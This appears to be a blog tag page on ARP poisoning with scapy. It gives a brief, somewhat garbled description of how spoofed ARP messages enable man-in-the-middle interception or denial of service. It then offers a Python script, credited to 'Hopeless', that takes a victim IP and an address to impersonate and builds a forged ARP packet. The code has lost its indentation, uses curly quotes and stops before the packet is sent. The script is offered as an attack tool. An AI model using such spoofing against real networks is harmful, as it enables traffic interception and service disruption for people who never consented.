Tag: ARP poison

ARP Poison – Python

ARP Poisoning
The attacking system, instead of posing as a gateway and performing a man in the middle attack, can instead simply drop the packets, causing the clients to be denied service to the attacked network resource. The spoofing of ARP messages is the tributary principal of ARP Poisoning.

from scapy.all import *
import sys

Untitled.jpgTo copy or see all commands you can click on Details button below





author: Hopeless
task: Arp poison !

from scapy.all import *
import sys

def get_mac_add():
my_macs = [get_if_hwaddr(i) for i in get_if_list()]
for mac in my_macs:
if(mac != “00:00:00:00:00:00”):
return mac

if len(sys.argv) != 3:
print “Usage: arppois.py VICTIM-IP IP-TO-IMPERSONATE”

my_mac = get_mac_add()
if not my_mac:
print “Error, Cant get local mac address”

pkt = Ether()/ARP(op=”who-has”,hwsrc=my_mac,psrc=sys.argv[2],pdst=sys.argv[1])